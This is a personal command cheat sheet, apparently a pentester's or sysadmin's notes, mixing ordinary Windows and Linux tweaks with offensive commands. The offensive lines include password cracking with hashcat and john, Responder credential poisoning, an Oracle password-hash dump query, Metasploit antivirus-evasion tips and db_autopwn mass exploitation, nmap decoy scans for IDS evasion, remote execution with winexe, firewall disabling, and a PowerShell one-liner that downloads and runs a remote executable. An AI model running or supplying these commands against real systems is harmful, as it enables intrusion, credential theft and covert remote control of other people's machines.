730hashcat-cli64.exe -a 3 -m 7300 --pw-min=1 --pw-max=6 -p : -o "C:\backup\hashcat-0.47\HashcatGUI_043\hashes_found.txt" --outfile-format=3 -n 4 -c 64 "hashes.txt" -1 ?l?d ?1?1?1?1?1?1
731
732# copy 5k random files into current directory to home path great for filling up MP3 Player with random music
733find . -type f |shuf |head -n 5000 |xargs -d$'\n' -I{} cp -v {} ~/
734
735# crack shadow passwords ( all types )
736john --fo=bf -w:/backup/LAPTOP/backup/wordlist/rockyou.txt bcrypt.txt
737john -show bcrypt.txt
738
739
740# find examples to find multiple
741find . -iname "screen*" -o -iname "*.log" -o -iname "*.txt" -exec grep -H '[+]' '{}' \;
742
743
744mac address
745C0:FF:EE:C0:FF:EE
746DE:AD:BE:EF:CA:FE
747DE:FE:CA:7E:B0:0B
748
749# log watch
750tail -f `lsof | grep -ia log$ | awk '{print $9}' | sort |uniq`
751
752# Virtualbox mount stuff FVWM2 stuff
753mount -t vboxsf delete /s
754nm-applet ( may need to apt-get remove --purge "network-manager" -y;apt-get autoremove -y ; rm -Rf /etc/NetworkManager )
755
756
757
758# xss
759http://singularityx.wordpress.com/2013/01/11/stealing-passwords-with-autocomplete-and-xss/
760
761# radar
762http://cybermap.kaspersky.com/
763
764http://www.securitywizardry.com/radar.htm
765
766
767# flows using graphviz as rendering engine. It works like this:
768
769* for %i in (*.pcap) tshark -r %i -q -z conv,tcp >> flows.txt
770* parseflows.py -i flows.txt -o pretty.pdf
771
772
773# shh VPN netblocks non routableish ..
77425.0.0.0/8
77514.0.0.0/8
7765.0.0.0/8
777
778
779#malware sanbox
780sanboxie BSA
781https://malwr.com/ Malwr - Malware Analysis by Cuckoo Sandbox
782https://anubis.iseclab.org Anubis Malware Analysis for Unknown Binaries
783http://http://apac.pandasecurity.com/autovin-assistant Autovin-assistant - Panda Security Asia Pacific
784http://bitblaze.cs.berkeley.edu/ BitBlaze: Binary Analysis for Computer Security
785http://www.joesecurity.org/joe-sandbox-desktop Agile Malware Analysis - Joe Sandbox Desktop
786http://malbox.xjtu.edu.cn/ Malbox is a service for malware analysis
787http://www.threatexpert.com/submit.aspx ThreatExpert - Submit Your Sample Online
788https://vicheck.ca/ ViCheck.ca - Find embedded malware in documents, PDFs
789http://www.xandora.net/upload/ Xandora - Your Online Binary Analyser
790
791
792
793Excel Hell
794
795Join cells with commas =CONCATENATE(N8,",",O8,",",P8,",",Q8,",",R8)
796remove trailing commas = SUBSTITUTE(TRIM(SUBSTITUTE(U5, ",", " "))," ", ",")
797remove trailing commas ... with commas in them.. I know right : =LEFT(U2,LEN(U2)-(LEN(U2)-SEARCH(",,",U2)+1))
798
799# lookup in exchange outlook api
800Public Function GetOffice1(var1)
801
802 Dim outApp As Object 'Application
803 Dim outTI As Object 'TaskItem
804 Dim outRec As Object 'Recipient
805 Dim outAL As Object 'AddressList
806
807
808 Set outApp = GetObject(, "Outlook.Application")
809 Set outAL = outApp.Session.addressLists.Item("Global Address List")
810 Set outTI = outApp.CreateItem(3)
811
812 outTI.Assign
813
814 Set outRec = outTI.Recipients.Add(var1)
815 outRec.Resolve
816 If outRec.Resolved Then
817 'MsgBox outRec.addressEntry.Name
818 GetOffice1 = outRec.addressEntry.GetExchangeUser.OfficeLocation
819 'MsgBox outRec.addressEntry.GetExchangeUser.JobTitle
820 'MsgBox outRec.addressEntry.GetExchangeUser.
821 'MsgBox outAL.addressEntries(outRec.addressEntry.manager.Name).GetExchangeUser.Alias
822 Else
823 GetOffice1 = "Couldn't find Employee"
824 End If
825
826
827End Function
828
829
830
831# Private IP space used by at least tmobile ?
832100.64.0.0 - 100.127.255.255
83325.0.0.0/8
834
835# CallRecorder Android
836Device: Samsung Galaxy S4 ( T-Mobile )
837Recording Method
838Standard API
839
840
841#Android Hardware keys kill app killall
842Back Key (long press) Kill App
843
844# kill the god awful touchpad ...after disabling it via the systray settings...on startup...
845cax.exe /RUH "C:\Program Files\Synaptics\SynTP\SynTPEnh.exe"
846cax.exe /WAIT:10
847cat.exe /KILLALL syntp*
848
849
850
851# WMP not in services list ... ok disable windows media player via cmd
852sc config "WMPNetworkSvc" start= disabled
853
854#topports 2000 not 80ish for armitage
855db_nmap -vvv -sV -T4 -p 1,3-4,6-7,9,13,17,19-27,30,32-33,37,42-43,49,53,55,57,59,70,77,79,83-90,98-100,102,106,109-111,113,119,123,125,127,135,139,143-144,146,157,161,163,179,199,210-212,220,222-223,225,250-252,254-257,259,264,280,301,306,311,333,340,366,388-389,406-407,411,416-417,419,425,427,441,444-445,447,458,464-465,475,481,497,500,502,512-515,523-524,540-541,543-545,548,554-557,563,587,593,600,602,606,610,616-617,621,623,625,631,636,639,641,646,648,655,657,659-660,666-669,674,683-684,687,690-691,700-701,705,709-711,713-715,720,722,725-726,728-732,740,748-749,754,757-758,765,777-778,780,782-783,786-787,790,792,795,800-803,805-806,808,822-823,825,829,839-840,843,846,856,859,862,864,873-874,878,880,888,898,900-905,911-913,918,921-922,924,928,930-931,943,953,969,971,980-981,987,990,992-993,995-996,998-1002,1004-1015,1020-1114,1116-1119,1121-1128,1130-1132,1134-1138,1141,1143-1145,1147-1154,1156-1159,1162-1169,1173-1176,1179-1180,1182-1188,1190-1192,1194-1196,1198-1201,1204,1207-1213,1215-1218,1220-1223,1228-1229,1233-1234,1236,1239-1241,1243-1244,1247-1251,1259,1261-1262,1264,1268,1270-1272,1276-1277,1279,1282,1287,1290-1291,1296-1297,1299-1303,1305-1311,1314-1319,1321-1322,1324,1327-1328,1330-1331,1334,1336-1337,1339-1340,1347,1350-1353,1357,1413-1414,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1516,1521-1522,1524-1526,1533,1547,1550,1556,1558-1560,1565-1566,1569,1580,1583-1584,1592,1594,1598,1600,1605,1607,1615,1620,1622,1632,1635,1638,1641,1645,1658,1666,1677,1683,1687-1688,1691,1694,1699-1701,1703,1707-1709,1711-1713,1715,1717-1723,1730,1735-1736,1745,1750,1752-1753,1755,1761,1782-1783,1791-1792,1799-1801,1805-1808,1811-1812,1823,1825,1835,1839-1840,1858,1861-1864,1871,1875,1900-1901,1911-1912,1914,1918,1924,1927,1935,1947,1954,1958,1971-1976,1981,1984,1998-2013,2020-2022,2025,2030-2031,2033-2035,2038,2040-2049,2062,2065,2067-2070,2080-2083,2086-2087,2095-2096,2099-2101,2103-2107,2111-2112,2115,2119,2121,2124,2126,2134-2135,2142,2144,2148,2150,2160-2161,2170,2179,2187,2190-2191,2196-2197,2200-2201,2203,2222,2224,2232,2241,2250-2251,2253,2260-2262,2265,2269-2271,2280,2288,2291-2292,2300-2302,2304,2312-2313,2323,2325-2326,2330,2335,2340,2366,2371-2372,2381-2383,2391,2393-2394,2399,2401,2418,2425,2433,2435-2436,2438-2439,2449,2456,2463,2472,2492,2500-2501,2505,2522,2525,2531-2532,2550-2551,2557-2558,2567,2580,2583-2584,2598,2600-2602,2604-2608,2622-2623,2628,2631,2638,2644,2691,2700-2702,2706,2710-2712,2717-2718,2723,2725,2728,2734,2800,2804,2806,2809,2811-2812,2847,2850,2869,2875,2882,2888-2889,2898,2901-2903,2908-2910,2920,2930,2957-2958,2967-2968,2973,2984,2987-2988,2991,2997-2998,3000-3003,3005-3007,3011,3013-3014,3017,3023,3025,3030-3031,3050,3052,3057,3062-3063,3071,3077,3080,3089,3102-3103,3118-3119,3121,3128,3146,3162,3167-3168,3190,3200,3210-3211,3220-3221,3240,3260-3261,3263,3268-3269,3280-3281,3283,3291,3299-3301,3304,3306-3307,3310-3311,3319,3322-3325,3333-3334,3351,3362-3363,3365,3367-3372,3374,3376,3388-3390,3396,3399-3400,3404,3410,3414-3415,3419,3425,3430,3439,3443,3456,3476,3479,3483,3485-3486,3493,3497,3503,3505-3506,3511,3513-3515,3517,3519-3520,3526-3527,3530,3532,3546,3551,3577,3580,3586,3599-3600,3602-3603,3621-3622,3632,3636-3637,3652-3653,3656,3658-3659,3663,3669-3670,3672,3680-3681,3683-3684,3689-3690,3697,3700,3703,3712,3728,3731,3737,3742,3749,3765-3766,3784,3787-3788,3790,3792-3793,3795-3796,3798-3801,3803,3806,3808-3814,3817,3820,3823-3828,3830-3831,3837,3839,3842,3846-3853,3856,3859-3860,3863,3868-3872,3876,3878-3880,3882,3888-3890,3897,3899,3901-3902,3904-3909,3911,3913-3916,3918-3920,3922-3923,3928-3931,3935-3937,3940-3941,3943-3946,3948-3949,3952,3956-3957,3961-3964,3967-3969,3971-3972,3975,3979-3983,3986,3989-4007,4009-4010,4016,4020,4022,4024-4025,4029,4035-4036,4039-4040,4045,4056,4058,4065,4080,4087,4090,4096,4100-4101,4111-4113,4118-4121,4125-4126,4129,4135,4141,4143,4147,4158,4161,4164,4174,4190,4192,4200,4206,4220,4224,4234,4242,4252,4262,4279,4294,4297-4298,4300,4302,4321,4325,4328,4333,4342-4343,4355-4358,4369,4374-4376,4384,4388,4401,4407,4414-4415,4418,4430,4433,4442-4447,4449,4454,4464,4471,4476,4516-4517,4530,4534,4545,4550,4555,4558-4559,4567,4570,4599-4602,4606,4609,4644,4649,4658,4662,4665,4687,4689,4700,4712,4745,4760,4767,4770-4771,4778,4793,4800,4819,4848,4859-4860,4875-4877,4881,4899-4900,4903,4912,4931,4949,4998-5005,5009-5017,5020-5021,5023,5030,5033,5040,5050-5055,5060-5061,5063,5066,5070,5074,5080-5081,5087-5088,5090,5095-5096,5098,5100-5102,5111,5114,5120-5122,5125,5133,5137,5147,5151-5152,5190,5200-5202,5212,5214,5219,5221-5223,5225-5226,5233-5235,5242,5250,5252,5259,5261,5269,5279-5280,5291,5298,5339,5347,5353,5357,5370,5377,5405,5414,5423,5431-5433,5440-5442,5444,5457-5458,5473,5475,5500-5502,5510,5520,5544,5550,5552-5555,5557,5560,5566,5580,5631,5633,5666,5678-5680,5718,5730,5800-5803,5807,5810-5812,5815,5818,5822-5823,5825,5850,5859,5862,5868-5869,5877,5899-5907,5909-5911,5914-5915,5918,5922,5925,5938,5940,5950,5952,5959-5963,5968,5981,5987-5989,5998-6009,6017,6025,6050-6051,6059-6060,6068,6100-6101,6103,6106,6112,6123,6129,6156,6203,6222,6247,6346,6389,6481,6500,6502,6504,6510,6520,6543,6547,6550,6565-6567,6580,6600,6646,6662,6666-6670,6689,6692,6699,6711,6732,6779,6788-6789,6792,6839,6881,6896,6901,6969,7000-7004,7007,7010,7019,7024-7025,7050-7051,7070,7080,7100,7103,7106,7123,7200-7201,7241,7272,7278,7281,7402,7435,7438,7443,7496,7512,7625,7627,7676,7725,7741,7744,7749,7770,7777-7778,7800,7878,7900,7911,7913,7920-7921,7929,7937-7938,7999-8002,8007-8011,8015-8016,8019,8021-8022,8031,8042,8045,8050,8083-8090,8093,8095,8097-8100,8118,8180-8181,8189,8192-8194,8200,8222,8254,8290-8294,8300,8333,8383,8385,8400,8402,8443,8481,8500,8540,8600,8648-8649,8651-8652,8654,8675-8676,8686,8701,8765-8766,8800,8873,8877,8888-8889,8899,8987,8994,8996,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9098-9103,9110-9111,9152,9191,9197-9198,9200,9207,9220,9290,9409,9415,9418,9443-9444,9485,9500-9503,9535,9575,9593-9595,9600,9618,9621,9643,9666,9673,9815,9876-9878,9898,9900,9914,9917,9941,9943-9944,9968,9988,9992,9998-10005,10008-10012,10022-10025,10034,10058,10082-10083,10160,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,10873,11110-11111,11967,12000,12006,12021,12059,12174,12215,12262,12265,12345-12346,12380,12452,13456,13722,13724,13782-13783,14000,14238,14441-14442,15000-15004,15402,15660,15742,16000-16001,16012,16016,16018,16080,16113,16705,16800,16851,16992-16993,17595,17877,17988,18000,18018,18040,18101,18264,18988,19101,19283,19315,19350,19780,19801,19842,19900,20000,20002,20005,20031,20221-20222,20828,21571,21792,22222,22939,23052,23502,23796,24444,24800,25734-25735,26000,26214,26470,27000,27352-27353,27355-27357,27715,28201,28211,29672,29831,30000,30005,30704,30718,30951,31038,31337,31727,32768-32785,32791-32792,32803,32816,32822,32835,33354,33453,33554,33899,34571-34573,35500,35513,37839,38037,38185,38188,38292,39136,39376,39659,40000,40193,40811,40911,41064,41511,41523,42510,44176,44334,44442-44443,44501,44709,45100,46200,46996,47544,48080,49152-49161,49163-49165,49167-49168,49171,49175-49176,49186,49195,49236,49400-49401,49999-50003,50006,50050,50300,50389,50500,50636,50800,51103,51191,51413,51493,52660,52673,52710,52735,52822,52847-52851,52853,52869,53211,53313-53314,53535,54045,54328,55020,55055-55056,55555,55576,55600,56737-56738,57294,57665,57797,58001-58002,58080,58630,58632,58838,59110,59200-59202,60020,60123,60146,60443,60642,61532,61613,61900,62078,63331,64623,64680,65000,65129,65310,65389
856
857# openvas greenbone cmd line scan
858omp -h 127.0.0.1 -p 9390 -u admin -w password -X "<create_target><name>$RANDOM</name><hosts>"
859`for i in `seq 1 255` ;do echo 192.168.1.$i",";done | tr -d '\n'`
860"</hosts></create_target>"
861
862# ubuntu Install security updates only
863
864apt-get -s dist-upgrade | grep "^Inst" | grep -i securi | awk -F " " {'print $2'} | xargs apt-get install
865
866
867# remove crap in ubuntu
868apt-get remove deja-dup -y
869for i in `apt-cache search ubuntuone|awk '{print $1}'`;do apt-get remove $i -y ;done
870apt-get remove rhythmbox-plugin-zeitgeist geoclue geoclue-ubuntu-geoip geoip-database whoopsie -y
871echo exit 0 > /etc/default/ntpdate
872apt-get --yes purge unity-asset-pool unity-lens-* unity-scope-*
873cd /etc/xdg/autostart/
874sed --in-place 's/NoDisplay=true/NoDisplay=false/g' *.desktop
875apt-get remove update-manager update-notifier -y
876for i in `apt-cache search musicstore|awk '{print $1}'`;do apt-get remove $i -y ;done
877for i in `apt-cache search empathy|awk '{print $1}'` ;do apt-get remove $i -y;done
878apt-get remove -y indicator-messages
879killall indicator-messages-service
880killall unity-panel-service
881
882
883# install ipad apps ipa from command line
884# find all the IPA files and extract them
885find . -name "*.ipa" -exec unzip -o '{}' \;
886# set the parms to the extracted zips
887chmod -R 777 ./Payload
888# move the apps to the /Applicatoins folder
889mv ./Payload/* /Applicatoins/
890
891
892
893#bash web dump links lynx
894lynx -width=999 -source -nolist URL
895
896#winrar windows mass extract
897for /f "delims=" %%i IN ('dir/s/b *.rar') do (
898C:\usb\media\WinRAR\WinRAR.exe x "%%i" "%CD%"
899)
900
901
902#recon
903pushpin
904threatagent
905jigsaw.rb
906https://scans.io/
907
908
909#record
910tcpdump -w dump.pcap -i eth0
911
912# rewrite
913tcprewrite --infile=dump.pcap --outfile=temp1.pcap --dstipmap=0.0.0.0/0:192.168.1.20 --enet-dmac=E0:DB:55:CC:13:F1
914tcprewrite --infile=temp1.pcap --outfile=temp2.pcap --srcipmap=0.0.0.0/0:192.168.1.10 --enet-smac=84:A5:C8:BB:58:1A
915tcprewrite --infile=temp2.pcap --outfile=final.pcap --fixcsum
916sudo tcpreplay --intf1=eth0 final.pcap
917
918# playback 100x fulls speed
919tcpreplay .t --loop=100 --intf1=eth0 final.pcap
920
921
922#sharepoint hackin'
923sparty
924horse
925SPScan
926
927# exchange 2007
928setup.com /PrepareSchema
929Setup.com /PrepareAD
930
931setup.com /PrepareLegacyExchangePermissions
932setup.com /PrepareSchema
933setup.com /PrepareAD
934setup.com /PrepareAllDomains
935
936# auto login
937
938reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "DefaultUserName" /d "Administrator" /f
939reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "DefaultPassword" /d "OMGYERPASSWORD" /f
940reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "AdminAutoLogin" /d "1" /f
941
942
943# block youtube annotatoins
944This is for anyone who runs adblock plus in firefox (should work in chrome as well) and wants to disable the annoying annotations / popups on youtube. If you have adblock installed just do the following:
945
946Firefox>tools>adblock plus>filter preferences
947
948Click add filter group, name the filter whatever you like and then in filter actions click paste after you have copied the text below.
949
950Quote:
951||youtube.com/annotations_
952
953# responder
954Responder.py -bwrd --lm -i IP
955
956
957# oracle oclhashcat table dump
958SELECT password,spare4,name FROM sys.user$ WHERE password is not null;
959
960# MSF UAC
961In our experience, we can get a shell even with SEP NTP enabled. We used bind_tcp instead of reverse_tcp after lots of testing. It looks like SEP only recognized reverse meterpreter but not the bind_tcp. Here are the steps we did:
9621. Fragmented all our traffic (fragrouter)
9632. Set MTU to 24
964I don.t know if the above has any effect at all. We haven.t looked into it.
965On metasploit
9661. We set the TCP_MAX_SENDSIZE to 3 or 4
9672. Used meterpreter bind_tcp.
968I hope this will be of some help.
969
970https://github.com/mattifestation/PowerSploit
971
972
973http://hak5.org/category/episodes/metasploit-minute
974
975
976# autopwn with new MSF bin
977# download autopwn
978cd /opt/metasploit/apps/pro/msf3/plugins/
979wget 'https://raw.github.com/neinwechter/metasploit-framework/autopwn-modules/plugins/db_autopwn.rb'
980
981# get postgres password
982cat /opt/metasploit/apps/pro/msf3/config/database.yml
983
984# remove plugin
985find /opt -iname "*trans2open*" -exec rm '{}' \;
986
987
988# start MSF
989load db_autopwn
990
991# clear the DB
992# pg_hba.conf local all all trust restart postgres
993psql msf3 -U msf3
994DELETE FROM hosts;
995DELETE FROM services;
996DELETE FROM events;
997DELETE FROM notes;
998DELETE FROM creds;
999DELETE FROM loots;
1000DELETE FROM sessions;
1001DELETE FROM clients;
1002\q
1003
1004# gogo
1005db_nmap -p 445 10.0.2.2
1006db_autopwn -p -t -e -v
1007
1008
1009
1010
1011# IDS Evasion for NFS, example of different options
1012
1013nmap --spoof-mac Apple --traceroute -T1 --data-length 9 -f -D 192.168.1.2,ME,RND:5 -v -n -O -sV -oA ~/scan.txt --log-errors -p T:111,1110,2049,4045,U:111,1110,2049,4045 --randomize-hosts 192.168.1.1-10
1014
1015nmap -Dmicrosoft.com,github.com,fbi.gov,google.com -sS -sV -T3 -f -mtu=24 -data-length=1227 74.125.225.142 -p 80,22
1016
1017# nmap xml 2 html
1018sltproc scan.xml -o "`date +%m%d%y`_report.html"
1019
1020# peg GPU OCLHASHCAT
1021--attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --runtime 9000 --force --custom-charset1 ?l?d?s?u --hash-type 131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
1022
1023# dhcp
1024netsh interface ipv4 set address name="LAN" dhcp
1025netsh interface ipv4 set dnsservers name="LAN" source=dhcp
1026
1027# STATIC IP
1028
1029c:\windows\System32\ipconfig.exe /release
1030
1031netsh interface ipv4 set address name="LAN" source=static address=172.16.2.XXX mask=255.255.252.0 gateway=172.16.1.1
1032
1033netsh interface ipv4 add dnsserver name="LAN" address=172.16.2.253 index=1
1034netsh interface ipv4 add dnsserver name="LAN" address=198.6.1.2 index=2
1035
1036Spiderlabs Responder
1037python Responder.py -i 10.0.0.10 -b 1 -r 1 -w On --lm=1
1038
1039
1040# metagoofil checkout
1041checkout http://metagoofil.googlecode.com/svn/trunk/ metagoofil-read-only
1042
1043
1044# dump script
1045python metagoofil.py -d $1 -t xlsx -l 500 -n 500 -o $1files -f xlsx_results.html
1046python metagoofil.py -d $1 -t docx -l 500 -n 500 -o $1files -f docx_results.html
1047python metagoofil.py -d $1 -t pptx -l 500 -n 500 -o $1files -f pptx_results.html
1048
1049python metagoofil.py -d $1 -t xls -l 500 -n 500 -o $1files -f xls_results.html
1050python metagoofil.py -d $1 -t doc -l 500 -n 500 -o $1files -f doc_results.html
1051python metagoofil.py -d $1 -t ppt -l 500 -n 500 -o $1files -f ppt_results.html
1052
1053python metagoofil.py -d $1 -t pdf -l 500 -n 500 -o $1files -f pdf_results.html
1054
1055
1056
1057# fix stupid trim file names ...
1058rename 's/^(.{32}).*(\..*)$/$1$2/' *
1059
1060
1061
1062nmap compile
1063./configure --without-zenmap --without-ncat --with-libpcap=included
1064
1065nmap ping scan
1066nmap --script broadcast-ping -oA ping_all -n -sP
1067
1068How to increase mouse sensitivity beyond limits in Windows Regedit
1069reg add "HKCU\Control Panel\Mouse" /v "MouseSpeed" /d "2" /f
1070reg add "HKCU\Control Panel\Mouse" /v "MouseThreshold1" /d "0" /f
1071reg add "HKCU\Control Panel\Mouse" /v "MouseThreshold2" /d "0" /f
1072taskkill /im explorer.exe /f
1073explorer
1074
107507/03/2013 - How can I prevent Ask.com Toolbar from being installed every time Java is updated
1076Reg Add "HKLM\SOFTWARE\JavaSoft" /V "SPONSORS" /D DISABLE /T reg_sz /F
1077Reg Add "HKLM\SOFTWARE\Wow6432Node\JavaSoft" /V "SPONSORS" /D DISABLE /T reg_sz /F
1078
1079
1080
1081
1082
108306/30/2013 - Disable Skydrive/Upload Center in Office 2013
1084Taskkill /F /IM MSOSYNC.EXE
1085Taskkill /F /IM MSOUC.EXE
1086
1087Reg Add "HKCU\software\policies\microsoft\office\common\webintegration" /V "webintegrationenabled" /D 0 /T REG_DWORD /F
1088Reg Add "HKLM\software\policies\microsoft\office\common\webintegration" /V "webintegrationenabled" /D 0 /T REG_DWORD /F
1089Reg Add "HKCU\Software\Microsoft\Office\15.0\Common\SignIn" /V "SignInOptions" /D 3 /T REG_DWORD /F
1090Reg Add "HKLM\Software\Microsoft\Office\15.0\Common\SignIn" /V "SignInOptions" /D 3 /T REG_DWORD /F
1091del /s/q c:\MSOUC.EXE
1092del /s/q c:\MSOSYNC.EXE
1093
1094# BS buttons
1095http://instantrimshot.com/classic/?sound=coughbullshit
1096
1097Penetration Testing Frameworks:
1098
10991. iOS
1100 Tools:- iNalyzer (cydia), isafePlay, Burp for manipulating iOS apps.
1101 And follow the traditional assessment (https://www.owasp.org/index.php/IOS_Application_Security_Testing_Cheat_Sheet)
11022. Android
1103 SmartPhone PenTest Framework (http://www.bulbsecurity.com/smartphone-pentest-framework/), Android SDK, OWASP LAPSE+, Burp can be used to conduct the testing. SPF can also be used to integrate with metasploit,SET etc.
11043. Windows Phone 7 and below
1105 Windows SDK (need a developer account) and Charles/Burp proxy is a good combination to conduct the assessments.
11064. BlackBerry - does provide a rigorous security screening process that submitted apps must pass in order to be listed in the store, but still we can still use the traditional android framework to test the apps designed for BB ( limited to java).
1107
1108
1109# password manager command line for windows key manager / stored usernames and passwords windows 7
1110rundll32.exe keymgr.dll,KRShowKeyMgr
1111control keymgr.dll
1112
1113# chown xcalcs calcs
1114FOR /F "delims==" %%A IN ('dir /b') DO cacls.exe "%%A" /T /E /G everyone:f
1115find . -maxdepth 3 -exec cacls.exe '{}' /T /E /G everyone:f \;
1116
1117# windows compatibility mode compat command line.
1118set __COMPAT_LAYER=WinXPSP3
1119
1120# fix windows boot loader
1121ms-sys --mbr /dev/sdx
1122# or
1123apt-get install syslinux
1124dd if=/usr/lib/syslinux/mbr.bin of=/dev/sdx
1125# or
1126apt-get install mbr
1127install-mbr -i n -p D -t 0 /dev/sdx
1128
1129# enable fix firewall
1130netsh firewall set opmode ENABLE
1131netsh advfirewall set currentprofile state on
1132
1133
1134
1135#disable windows firewall windows 7
1136netsh advfirewall set AllProfiles state off
1137
1138net stop MpsSvc
1139
1140sc config mpssvc start= Disabled
1141
1142
1143#enable RDP over CLI
1144reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
1145
1146# RDP timeout !!!
1147reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1148reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1149reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\DefaultUserConfiguration" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1150reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\DefaultUserConfiguration" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1151reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\Console" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1152reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\Console" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1153
1154reg add "HKLM\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1155reg add "HKLM\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1156reg add "HKLM\SYSTEM\ControlSet001\Control\Terminal Server\DefaultUserConfiguration" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1157reg add "HKLM\SYSTEM\ControlSet001\Control\Terminal Server\DefaultUserConfiguration" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1158reg add "HKLM\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\Console" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1159reg add "HKLM\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\Console" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1160
1161reg add "HKLM\SYSTEM\ControlSet002\Control\Terminal Server\WinStations\RDP-Tcp" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1162reg add "HKLM\SYSTEM\ControlSet002\Control\Terminal Server\WinStations\RDP-Tcp" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1163reg add "HKLM\SYSTEM\ControlSet002\Control\Terminal Server\DefaultUserConfiguration" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1164reg add "HKLM\SYSTEM\ControlSet002\Control\Terminal Server\DefaultUserConfiguration" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1165reg add "HKLM\SYSTEM\ControlSet002\Control\Terminal Server\WinStations\Console" /v MaxDisconnectionTime /t REG_DWORD /d "3600000" /f
1166reg add "HKLM\SYSTEM\ControlSet002\Control\Terminal Server\WinStations\Console" /v MaxIdleTime /t REG_DWORD /d "10800000" /f
1167
1168
1169
1170
1171# kill RDP logins and force logoff sessionts
1172qwinsta
1173rwinsta
1174# logoff sessions
1175logoff 1
1176
1177
1178# psexec winexe
1179 winexe --user admin --password=password //192.168.1.250 c:\\windows\\system32\\nnplus.bat
1180
1181# java tricks
1182javascript:document.body.contentEditable='true'; document.designMode='on'; void 0
1183javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);
1184
1185
1186
1187# open with in ubuntu
1188# gedit ~/.gnome2/nautilus-scripts/Open\ with\ gedit
1189filesall=."
1190while [ $# -gt 0 ]
1191do
1192files=`echo .$1. | sed .s/ /\?/g.`
1193filesall=.$files $filesall.
1194shift
1195done
1196mplayer -vc ffvc1vdpau,ffwmvvdpau,ffh264vdpau,ffmpeg12vdpau -vo vdpau -ac hwdts,hwac3, -ao alsa:device=spdif -cache 8192 -fs -zoom -quiet $filesall&
1197
1198
1199#irssi
1200#/NETWORK ADD irc.freenode.net -autosendcmd "/^msg nickserv ident password;wait 2000"
1201/NETWORK ADD irc.freenode.net
1202/SERVER ADD -auto -network irc.freenode.net irc.freenode.net 6667
1203/CHANNEL ADD -auto #infonomicon irc.freenode.net
1204
1205
1206# irssi aliases in conf
1207 1 = "/^msg NickServ ghost operat0r password";
1208 2 = "/^nick operat0r";
1209 3 = "/^msg NickServ identify operat0r password";
1210 4 = "/^msg NickServ identify password";
1211m = "wait 5000;/window 2;wait 5000;/window show 2;wait 9000;/window show 3;wait 9000;/window show 4;wait 9000;/win balance;wait 5000;/clear -all";
1212
1213
1214# example image dump
1215wget -q --no-clobber -P pics -H -nd -r -Dimages.4chan.org -A '.jpg,.jpeg,.png,.gif,' -U 'rmccurdyDOTcom' -e robots=off http://boards.4chan.org/b/
1216
1217
1218
1219# purge security onion
1220nsm_sensor_clean --force-yes
1221rm -rf /nsm/sensor_data/*/dailylogs/*
1222sguil-db-purge
1223rm -Rf /nsm/bro/spool/tmp/
1224
1225
1226
1227# disable ipv6 win7
1228netsh interface teredo set state disabled
1229netsh interface ipv6 6to4 set state state=disabled undoonstop=disabled
1230netsh interface ipv6 isatap set state state=disabled
1231
1232#disable firefox plugin check : in about:config add FAIL in front of plugins.update.url and rename the DLL or plugin restart FF !
1233
1234# exploit-db.com checkout svn checkout
1235wget exploit-db.com/archive.tar.bz2
1236
1237# weather radar on liner wunderground
1238radblast-aws.wunderground.com/cgi-bin/radar/WUNIDS_map?station=FFC&brand=wui&num=10&delay=15&type=N0R&frame=0&scale=1.000&noclutter=0&t=1361486454&lat=34.02500916&lon=-84.31282806&label=RMCCURDY.COM&showstorms=0&map.x=400&map.y=240¢erx=400¢ery=240&transx=0&transy=0&showlabels=1&severe=0&rainsnow=0&lightning=0&smooth=0
1239
1240#powershell
1241powershell (new-object System.Net.WebClient).DownloadFile('http://rmccurdy.com/scripts/quickvnc.exe','%TEMP%\quickvnc.exe');Start-Process "%TEMP%\quickvnc.exe"
1242
1243
1244
1245# NX client FreeNX
1246# line to use in custom for ubuntu
1247gnome-session --session=ubuntu-2d
1248
1249
1250# stupid webalizer ...
